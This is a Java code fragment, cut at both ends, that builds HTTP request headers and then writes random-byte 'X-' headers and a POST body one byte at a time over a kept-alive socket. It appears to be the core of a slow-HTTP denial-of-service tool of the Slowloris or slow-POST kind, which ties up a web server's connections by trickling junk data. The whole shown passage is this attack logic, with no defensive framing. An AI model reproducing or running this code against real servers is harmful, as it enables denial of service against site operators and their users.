{

private String getRequestHeader()

{

String requestHeader = "";

requestHeader += param.getMethod() + " " + param.getUrl() + " HTTP/1.1\r\n";

requestHeader +="Host: " + param.getHost() + "\r\n"

+ "User-Agent: " + httpUserAgent + "\r\n"

+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

+ "Accept-Language: en-us,en;q=0.5\r\n"

+ "Accept-Encoding: gzip,deflate\r\n"

+ "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";

if (param.getContentLength() > 0)

{

requestHeader += "Connection: keep-alive\r\n";

requestHeader += "Keep-Alive: 900\r\n";

requestHeader += "Content-Length: " + param.getContentLength() + "\r\n";

requestHeader += "\r\n";

}

return requestHeader;

}

public static byte getRandomByte()

{

int character = gen.nextInt();

return (byte) character;

}

public void sendXHeader() throws IOException

{

StringBuffer header1 = new StringBuffer();

StringBuffer header2 = new StringBuffer();

int lengthOfXA = param.getRandomLengthOfXA();

int lengthOfXB = param.getRandomLengthOfXB();

for (int i=0 ; i<lengthOfXA ; i++)

{

header1.append(Misc.getRandomByte());

}

for (int i=0 ; i<lengthOfXB ; i++)

{

header2.append(Misc.getRandomByte());

}

socket.getOutputStream().write(("X-" + header1.toString() + ": " + header2.toString() + "\r\n").getBytes());

socket.getOutputStream().flush();

}

public void sendPOSTBodyRandomByte() throws IOException

{

socket.getOutputStream().write(Misc.getRandomByte());

socket.getOutputStream().flush();